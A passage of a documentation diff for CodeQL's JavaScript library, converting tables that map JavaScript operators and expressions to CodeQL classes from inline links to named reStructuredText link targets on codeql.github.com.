<https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``|`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `BitOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BitOrExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``^`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `XOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$XOrExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``in`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `InExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$InExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``instanceof`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `InstanceofExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$InstanceofExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++----------------------------+-----------------+----------------------------+ +| Expression syntax | CodeQL class | Superclasses | ++============================+=================+============================+ +| Expr_ ``*`` Expr_ | MulExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``/`` Expr_ | DivExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``%`` Expr_ | ModExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``**`` Expr_ | ExpExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``+`` Expr_ | AddExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``-`` Expr_ | SubExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``<<`` Expr_ | LShiftExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``>>`` Expr_ | RShiftExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``>>>`` Expr_ | URShiftExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``&&`` Expr_ | LogAndExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``||`` Expr_ | LogOrExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``<`` Expr_ | LTExpr_ | Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``>`` Expr_ | GTExpr_ | Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``<=`` Expr_ | LEExpr_ | Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``>=`` Expr_ | GEExpr_ | Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``==`` Expr_ | EqExpr_ | EqualityTest_, Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``!=`` Expr_ | NEqExpr_ | EqualityTest_, Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``===`` Expr_ | StrictEqExpr_ | EqualityTest_, Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``!==`` Expr_ | StrictNEqExpr_ | EqualityTest_, Comparison_ | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``&`` Expr_ | BitAndExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``|`` Expr_ | BitOrExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``^`` Expr_ | XOrExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``in`` Expr_ | InExpr_ | | ++----------------------------+-----------------+----------------------------+ +| Expr_ ``instanceof`` Expr_ | InstanceofExpr_ | | ++----------------------------+-----------------+----------------------------+ Assignment expressions ~~~~~~~~~~~~~~~~~~~~~~ -All classes in this table are subclasses of `Assignment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Assignment.html>`__. +All classes in this table are subclasses of Assignment_. -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | -+================================================================================================================================================================================================================+==============================================================================================================================+================================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``+=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignAddExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAddExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``-=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignSubExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignSubExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``*=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignMulExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignMulExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``**=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignExpExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignExpExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``/=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignDivExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignDivExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``%=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignModExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignModExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``&=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignAndExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignAndExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``|=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignOrExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``^=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignXOrExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignXOrExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``<<=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignLShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignLShiftExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``>>=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignRShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignRShiftExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``>>>=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `AssignURShiftExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$AssignURShiftExpr.html>`__ | `CompoundAssignExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CompoundAssignExpr.html>`__ | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ ++----------------------+--------------------+---------------------+ +| Expression syntax | CodeQL class | Superclasses | ++======================+====================+=====================+ +| Expr_ ``=`` Expr_ | AssignExpr_ | | ++----------------------+--------------------+---------------------+ +| Expr_ ``+=`` Expr_ | AssignAddExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``-=`` Expr_ | AssignSubExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``*=`` Expr_ | AssignMulExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``**=`` Expr_ | AssignExpExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``/=`` Expr_ | AssignDivExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``%=`` Expr_ | AssignModExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``&=`` Expr_ | AssignAndExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``|=`` Expr_ | AssignOrExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``^=`` Expr_ | AssignXOrExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``<<=`` Expr_ | AssignLShiftExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``>>=`` Expr_ | AssignRShiftExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ +| Expr_ ``>>>=`` Expr_ | AssignURShiftExpr_ | CompoundAssignExpr_ | ++----------------------+--------------------+---------------------+ Update expressions ~~~~~~~~~~~~~~~~~~ -All classes in this table are subclasses of `UpdateExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$UpdateExpr.html>`__. +All classes in this table are subclasses of UpdateExpr_. -+-----------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | -+===========================================================================================================+==================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``++`` | `PostIncExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PostIncExpr.html>`__ | -+-----------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``--`` | `PostDecExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PostDecExpr.html>`__ | -+-----------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``++`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `PreIncExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PreIncExpr.html>`__ | -+-----------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ -| ``--`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ | `PreDecExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PreDecExpr.html>`__ | -+-----------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------+ ++-------------------+--------------+ +| Expression syntax | CodeQL class | ++===================+==============+ +| Expr_ ``++`` | PostIncExpr_ | ++-------------------+--------------+ +| Expr_ ``--`` | PostDecExpr_ | ++-------------------+--------------+ +| ``++`` Expr_ | PreIncExpr_ | ++-------------------+--------------+ +| ``--`` Expr_ | PreDecExpr_ | ++-------------------+--------------+ Miscellaneous ~~~~~~~~~~~~~ -All classes in this table are subclasses of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. +All classes in this table are subclasses of Expr_. + ++-------------------------------+------------------+ +| Expression syntax | CodeQL class | ++===============================+==================+ +| Expr_ ``?`` Expr_ ``:`` Expr_ | ConditionalExpr_ | ++-------------------------------+------------------+ +| Expr_ ``,`` ... ``,`` Expr_ | SeqExpr_ | ++-------------------------------+------------------+ +| ``await`` Expr_ | AwaitExpr_ | ++-------------------------------+------------------+ +| ``yield`` Expr_ | YieldExpr_ | ++-------------------------------+------------------+ + +.. _Stmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html +.. _Expr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html +.. _ExprStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ExprStmt.html +.. _Label: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Label.html +.. _LabeledStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$LabeledStmt.html +.. _EmptyStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$EmptyStmt.html +.. _BreakStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakStmt.html +.. _JumpStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html +.. _BreakOrContinueStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakOrContinueStmt.html +.. _Case: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Case.html +.. _SwitchStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$SwitchStmt.html +.. _Identifier: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html +.. _CatchClause: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$CatchClause.html +.. _ControlStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html +.. _TryStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$TryStmt.html +.. _MemberDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$MemberDeclaration.html +.. _ClassDeclStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html +.. _ClassDefinition: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDefinition.html +.. _ClassOrInterface: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassOrInterface.html +.. _TypeParameterized: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameterized.html +.. _ConstDeclStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ConstDeclStmt.html +.. _DeclStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html +.. _ContinueStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ContinueStmt.html +.. _DebuggerStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$DebuggerStmt.html +.. _GlobalAugmentationDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GlobalAugmentationDeclaration.html +.. _StringLiteral: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html +.. _ExternalModuleDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExternalModuleDeclaration.html +.. _DoWhileStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$DoWhileStmt.html +.. _LoopStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html +.. _EnumDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$EnumDeclaration.html +.. _NamespaceDefinition: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDefinition.html +.. _BulkReExportDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$BulkReExportDeclaration.html +.. _ReExportDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ReExportDeclaration.html +.. _ExportDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html +.. _ExportDefaultDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDefaultDeclaration.html +.. _FunctionDeclStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html +.. _ExportSpecifier: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportSpecifier.html +.. _ExportNamedDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportNamedDeclaration.html +.. _ExportAssignDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAssignDeclaration.html +.. _ExportAsNamespaceDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAsNamespaceDeclaration.html +.. _ForStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForStmt.html +.. _VarAccess: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html +.. _ForInStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForInStmt.html +.. _EnhancedForLoop: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$EnhancedForLoop.html +.. _ForOfStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForOfStmt.html +.. _Parameter: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html +.. _Function: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html +.. _IfStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$IfStmt.html +.. _ImportSpecifier: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ImportSpecifier.html +.. _ImportDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ImportDeclaration.html +.. _Import: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Modules.qll/type.Modules$Import.html +.. _ImportEqualsDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ImportEqualsDeclaration.html +.. _InterfaceDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceDeclaration.html +.. _InterfaceDefinition: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$InterfaceDefinition.html +.. _LetStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$LetStmt.html +.. _NamespaceDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDeclaration.html +.. _ReturnStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ReturnStmt.html +.. _ThrowStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ThrowStmt.html +.. _TypeExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeExpr.html +.. _TypeAliasDeclaration: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeAliasDeclaration.html +.. _VarDeclStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$VarDeclStmt.html +.. _WhileStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$WhileStmt.html +.. _WithStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$WithStmt.html +.. _BlockStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$BlockStmt.html +.. _Literal: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Literal.html +.. _BooleanLiteral: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BooleanLiteral.html +.. _NumberLiteral: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NumberLiteral.html +.. _RegExpLiteral: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$RegExpLiteral.html +.. _NullLiteral: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NullLiteral.html +.. _VarDecl: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html +.. _VarRef: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarRef.html +.. _ThisExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ThisExpr.html +.. _ArrayExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ArrayExpr.html +.. _Property: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html +.. _ObjectExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ObjectExpr.html +.. _FunctionExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$FunctionExpr.html +.. _ArrowFunctionExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ArrowFunctionExpr.html +.. _ParExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ParExpr.html +.. _TemplateLiteral: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateLiteral.html +.. _TemplateElement: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Templates.qll/type.Templates$TemplateElement.html +.. _TaggedTemplateExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Templates.qll/type.Templates$TaggedTemplateExpr.html +.. _ValueProperty: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ValueProperty.html +.. _PropertyGetter: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyGetter.html +.. _PropertyAccessor: 